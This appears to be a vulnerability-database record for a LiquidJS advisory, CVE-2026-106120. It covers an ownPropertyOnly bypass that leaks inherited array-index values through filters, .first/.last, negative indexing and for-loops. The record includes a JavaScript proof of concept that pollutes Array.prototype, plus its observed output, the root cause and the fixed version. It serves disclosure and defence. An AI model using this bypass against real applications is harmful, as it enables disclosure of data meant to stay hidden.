{"schema":"threatline.record/2","record":{"id":"CVE-2026-106120","aliases":["GHSA-fwxr-j5w2-587m"],"summary":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","details":"## Summary\n\nLiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. \nWith `ownPropertyOnly: true`, direct access such as:\n\n```liquid\n{{ a[0] }}\n```\n\ncorrectly blocks an inherited array index. However, the same inherited value is still disclosed through:\n\n```text\n.first\n.last\nnegative indexing\nfor-loop iteration\nfirst\nlast\njoin\nreverse\nslice\ncompact\n```\n\n## Impact\n\nThis is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.\n\nObject prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.\n\n\n## Proof of concept\n\n```js\nconst { Liquid } = require(\"liquidjs\");\n\nconst engine = new Liquid({ ownPropertyOnly: true });\n\nArray.prototype[0] = \"ARRAY_PROTO_POLLUTED\";\nObject.prototype.secret = \"OBJECT_PROTO_POLLUTED\";\n\nconst a = [];\na.length = 1;\n\nconst o = {};\n\nfor (const [src, scope] of [\n  [\"{{ a[0] }}\", { a }],\n  [\"{{ a[-1] }}\", { a }],\n  [\"{{ o.secret }}\", { o }],\n  [\"{{ a.first }}\", { a }],\n  [\"{{ a.last }}\", { a }],\n  [\"{{ a | first }}\", { a }],\n  [\"{{ a | last }}\", { a }],\n  [\"{{ a | join: ',' }}\", { a }],\n  [\"{{ a | reverse | first }}\", { a }],\n  [\"{{ a | slice: 0, 1 | join: ',' }}\", { a }],\n  [\"{{ a | compact | join: ',' }}\", { a }],\n  [\"{% for x in a %}[{{ x }}]{% endfor %}\", { a }],\n]) {\n  console.log(src, \"=>\", JSON.stringify(engine.parseAndRenderSync(src, scope)));\n}\n\ndelete Array.prototype[0];\ndelete Object.prototype.secret;\n```\n\n## Observed behavior\n\n```text\n{{ a[0] }}                                  => \"\"\n{{ a[-1] }}                                 => \"ARRAY_PROTO_POLLUTED\"\n{{ o.secret }}                              => \"\"\n{{ a.first }}                               => \"ARRAY_PROTO_POLLUTED\"\n{{ a.last }}                                => \"ARRAY_PROTO_POLLUTED\"\n{{ a | first }}                             => \"ARRAY_PROTO_POLLUTED\"\n{{ a | last }}                              => \"ARRAY_PROTO_POLLUTED\"\n{{ a | join: ',' }}                         => \"ARRAY_PROTO_POLLUTED\"\n{{ a | reverse | first }}                   => \"ARRAY_PROTO_POLLUTED\"\n{{ a | slice: 0, 1 | join: ',' }}           => \"ARRAY_PROTO_POLLUTED\"\n{{ a | compact | join: ',' }}               => \"ARRAY_PROTO_POLLUTED\"\n{% for x in a %}[{{ x }}]{% endfor %}       => \"[ARRAY_PROTO_POLLUTED]\"\n```\n\n## Expected behavior\n\nWhen `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:\n\n```liquid\n{{ a[0] }}\n{{ o.secret }}\n```\n\nInherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.\n\n## Root cause\n\n`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.\n\nExamples include:\n\n```text\nnegative indexing using obj[obj.length + key]\nreadFirst/readLast using obj[0] / obj[obj.length - 1]\nfilters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads\nfor-loop iteration materializing inherited array indices\n```\n\nBecause these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.","categories":["Libraries & packages"],"product":"liquidjs","vendor":"harttle","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-fwxr-j5w2-587m","source_modified_at":"2026-10-07T16:19:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"liquidjs"},"range":"<= 10.27.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-106120","source_modified_at":"2026-10-09T01:22:05.479Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"liquidjs","vendor":"harttle","versions":[{"version":"< 10.27.2","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-fwxr-j5w2-587m","source_modified_at":"2026-10-07T16:30:04.720886113Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"liquidjs","purl":"pkg:npm/liquidjs"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"10.27.2"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-fwxr-j5w2-587m","source_modified_at":"2026-10-07T16:19:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"liquidjs"},"version":"10.27.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-fwxr-j5w2-587m","source_modified_at":"2026-10-07T16:30:04.720886113Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"liquidjs","purl":"pkg:npm/liquidjs"},"version":"10.27.2"}],"cvss":6,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.0035,"percentile":0.27487,"score_date":"2026-10-23"},"published_at":"2026-10-06T18:04:14.907Z","modified_at":"2026-10-09T01:22:05.479Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-fwxr-j5w2-587m","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T16:19:10Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-106120","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-09T01:22:05.479Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-fwxr-j5w2-587m","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T16:30:04.720886113Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106120","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-fwxr-j5w2-587m","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106120","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/harttle/liquidjs/pull/924","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/harttle/liquidjs/commit/552819a84b80c62306fe61072628a756272dc749","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/harttle/liquidjs/releases/tag/v10.27.2","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-fwxr-j5w2-587m","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-10-09T01:21:40.881711Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-09T01:22:05.479Z","content_hash":"5c5cb732bdfb5428c0153c0d21664048b150fac6885a6dbb8f645d0d6237ba08"}}
